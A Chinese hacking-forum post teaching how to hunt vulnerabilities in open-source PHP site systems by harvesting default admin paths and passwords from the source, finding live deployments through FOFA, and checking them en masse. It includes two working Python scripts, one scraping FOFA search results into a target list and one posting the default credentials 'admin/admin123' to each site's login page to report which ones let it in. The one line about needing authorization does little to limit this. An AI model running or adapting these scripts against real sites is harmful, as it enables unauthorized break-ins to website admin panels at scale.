漏洞挖掘-开源程序漏洞挖掘

340 3
HK.JH 2022-2-12 17:14:47 来自手机 | 显示全部楼层 |阅读模式
0x00 开源程序介绍
挖掘漏洞的时候挖掘的对象的框架涉及到两种:

第一种是闭源框架,闭源框架里面涉及到两种,一是个人开发,不对外使用,或者未公开,二是商用型,需要甲方购买使用,这些一般都是闭源的,很难拿到源码。第二种是开源框架,也就是我们今天要讲的,开源框架既你可以在网上获取到源码信息。能够获取到源码。那操作空间不就来了嘛?

0x01 某开源程序漏洞挖掘
(1)源码获取现在网上的源码网站很多,这里推荐一个作为示范https://down.chinaz.com/选取开源程序需要注意:

1.源码是否最近有更新,不要选取太老旧的框架,避免后期信息收集很难。

2.还要选取热度比较高的源码,说明使用的对象多,后面的信息收集,挖掘的对象也就多。

3.还要注意源码的脚本类型,简单介绍一下,常见的脚本类型,PHP,Python,C,java等,这里推荐挖掘php的源码程序,因为相对于其他类型的源码,php还是比较容易挖掘,相对于java,难度系数就很大。

4.这里我们选择了一个php类型的建站系统,下载进行挖掘(2)基本信息收集

选取了对应的源码,第二步开始信息收集,首先需要收集源码的基本信息,比如默认后台,默认的接口,以及一切默认的账户密码,这些都不能忽略。

这里看到默认的产品说明,记录了网站的默认后台以及账户密码

后台网址:../admindm-yourname/g.php
用户名:admin 密码:admin123
接下来我们可以对这个后台进行广泛的信息收集,看有没有粗心的程序员使用的默认账户后台,

(3)fofa信息收集后台:

fofa:"admindm-yourname"

这里问题来了,找到对应的框架网站,如何找到后台呢?我们可以模拟建站,或者到网上搜索该源码的示例网站,

后台地址:/admindmyourname/mod_common/login.php
通过源码里面看到,后台的字段名其实可以修改,但是不避免有粗心的程序员未修改,这里我们拼接刚刚的后台路径,发现成功加入后台,

后面可以尝试其他的权限获取,但是要在授权的情况下,安全测试
(4)批量收集后台,批量挖掘弱口令思路和方法都清晰了,下面我们进行批量的信息收集和挖掘弱口令fofa批量爬取对象:

import requests
import base64
from lxml import etree
import time


search_data='"admindm-yourname"'   #条件
headers={
  'cookie':'你的cookie',
}
for yeshu in range(1,6):
  url='https://fofa.so/result?page='+str(yeshu)+'&qbase64='
  search_data_bs=str(base64.b64encode(search_data.encode("utf-8")),"utf-8")
  urls=url+search_data_bs
  print(urls)
  try:
      print('正在提取第'+str(yeshu)+'页')
      result=requests.get(urls,headers=headers).content
      soup=etree.HTML(result)
      ip_data=soup.xpath('//span[@class="aSpan"]/a[@target="_blank"]/@href')
      ipdata='\n'.join(ip_data)
      print(ip_data)
      with open(r'./dm.txt','a+') as f:
          f.write(ipdata+'\n')
          f.close()
      time.sleep(0.5)
  except Exception as e:
      pass
python批量验证:

import requests

def check_login():
  data={
      'user':'admin',
      'password':'admin123'
  }
  for url in open('dm.txt'):
      url= url.replace('\n','')
      urls= url+'/admindm-yourname/mod_common/login.php'
      try:
          result =requests.post(urls,data=data).content.decode('utf-8')
          if 'sorry' in result:   #sorry可以适当修改条件
              print(url+'不存在')
          else:
              print(url+'存在')
      except Exception as e:
          pass
if __name__ == '__main__':
      check_login()
逐一验证即可!
(5)源码审计挖掘需要一定php基础,读懂代码复现漏洞代码审计后本地自主搭建,测试漏洞,seay代码审计:自行审计测试,这里就不作演示

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
小远实名认证 2022-2-13 00:34:46 来自手机 | 显示全部楼层
下次多发点挖漏洞的

点评

同意  发表于 2022-3-19 17:08
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行